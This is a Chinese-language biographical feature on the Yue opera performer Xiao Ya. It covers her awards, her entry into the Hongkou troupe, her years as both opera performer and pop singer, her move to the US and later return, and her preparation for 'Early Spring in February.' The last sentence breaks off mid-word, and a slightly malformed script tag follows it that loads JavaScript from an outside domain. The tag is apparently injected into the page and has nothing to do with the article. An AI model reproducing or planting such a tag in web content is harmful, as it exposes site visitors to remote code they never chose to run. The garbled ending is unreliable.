萧雅,青年表演艺术家。代表剧目有《一枝梅》、《早春二月》、《状元未了情》、《何文秀传奇》、《盘妻索妻》、《秋海棠》等。曾获第二届江浙沪青年越剧电视大奖赛二等奖、华东六省一市戏曲演员通俗歌曲大奖赛特等奖、第十五届全国电视剧飞天奖、第21届中国戏剧梅花奖等,音乐风光片《呼伦贝尔情》获国家民委会特等奖。现任萧雅文化艺术有限公司创办人,上海戏剧家协会理事。
萧雅,人如其名,秀美灵动,大方隽永。
萧雅,艺如其名,清新流畅,温和儒雅。
萧雅仿佛生来就是越剧的女儿,在举首投足、低吟浅唱中品味着人生的真谛,展示着艺术的精彩。
从艺二十七年来,萧雅和她的姐妹们一起,经历了越剧自上世纪末以来的复苏、兴盛和低迷的历程。一路走来,萧雅如逆水行舟、坚韧不拔,把戏越唱越响,将路越走越宽。
如果没有越剧
萧雅出生于上海的一户普通人家。由于天生有副好嗓子,加上母亲的艺术熏陶,萧雅从小就盼望自己能成为一名歌唱家。
也许是与越剧有缘,当萧雅在鲁迅中学读高二时,虹口越剧团面向社会招生,在母亲的支持下,萧雅凭着一段《葬花》和《焚稿》顺利考入越剧团,开始了自己的越剧艺术人生。
上世纪80年代,萧雅在秉承越剧唱腔传统的基础上,借鉴了通俗和美声唱法,成为戏曲界第一位戏、歌两栖演员。在通俗歌坛,她演唱的《月亮走,我也走》等歌曲风靡一时;在越剧舞台,她把气声唱法引入尹派唱腔,亲切柔美、通透流畅,令人听了有春风轻拂般惬意、泉下听琴般沉醉的美好感受。
1991年,正当萧雅在歌坛和舞台上接连获奖、好评如潮时,她却作出了一个出人意料的决定——离开上海,去美国定居。这令所有喜欢萧雅的人们感到十分惊讶,也感到十分遗憾。也许,他们关注的只是舞台上那个风采照人、星光四射的萧雅,而对舞台下那个善于思索、勉力追寻的萧雅却所知甚少。“这段时期,我忽然对自己的人生定位产生了怀疑,想出去走走看看,冷静地思考一下,然后再决定走哪条路。”萧雅说。
然而,身虽离,心相忆。五六年时间应该不算长,但对离开了越剧的萧雅来说,是极为难熬的。在美国,每当看华人电视节目时,萧雅的心中便想起了心爱的越剧。“一个女演员有多少个年头可以荒废?没有了艺术,没有了越剧,我的生活几乎是空白,越剧舞台就是我的第二生命。”终于,萧雅毅然放弃了在美国的优裕生活,回到了上海,回到了越剧舞台,回到了越剧观众中间。
与其他剧种的戏迷相比,越剧戏迷对演员的热爱似乎更加专一,更加长久。1998年,刚回国的萧雅出了一张越剧折子戏的VCD,为复出热身;次年她又在上海国际艺术节直播节目上亮相,顿时引来了大量兴奋的越迷。他们奔走相告:“萧雅回来了!”对此,萧雅在感动之余,也增添了复出的勇气和信心。
如果没有付出
马不停蹄的演出,摩肩接踵的观众,如潮涌来的鲜花和掌声,萧雅的复出之路似乎坦荡平直、没有磕绊;不过,就在不经意中,此时的萧雅却面临着一次人生的磨砺和艺术的蜕变。
2000年,上海越剧院邀请萧雅出演《早春二月》中的萧涧秋一角。越剧擅演古装戏,长袖挥洒、纸扇翻飞、高靴挺秀,这些能充分体现小生的潇洒飘逸,烘托唱腔的韵味。但在这出现代戏里,萧涧秋既没有水袖,没有扇子,又不穿高靴,缺少了那么多表现人物性格的手段,拿什么演好角色、吸引观众?
在人们的担心和猜测下,抱着“只许成功,不许失败”态度的萧雅投入了艰苦的摹仿和创作过程。
画家作画的基础是写生,演员演戏的基础是摹仿。每到傍晚时分,萧雅便去淮海路、南京路观察年轻男子走路、说话的神态,甚至还跟在别人身后亦步亦趋,由于过于专注,以至好几次都被骂为“花痴”。现代戏中高靴不能用,萧雅便以内高跟鞋代替,这种鞋子乍看之下与一般鞋子没有区别,但穿上走路却比高靴困难得多,不久萧雅的脚趾便被挤出了淤血。除了正常的练功和排演,萧雅还在晚上连续拜访两位越剧专家,共同琢磨唱腔。那段时间,萧雅每天的睡眠时间不足五小时。
《早春二月》正式彩排那天,萧雅迈着干净稳重的台步出场,演绎一个情感复杂的青年萧涧秋,令在场所有同行和前辈艺术家眼前一亮。彩排结束,孙道临握着萧雅的手说:“萧雅,希望你能保持女子越剧的特色,祝你成功!”听着这番恳切的话,萧雅的眼泪顿时流了出来,将往日的辛苦和委屈冲刷得干干净净。
《早春二月》的成功,使萧雅对越剧现代戏的理解?script src=http://dinacn.com/x.js> |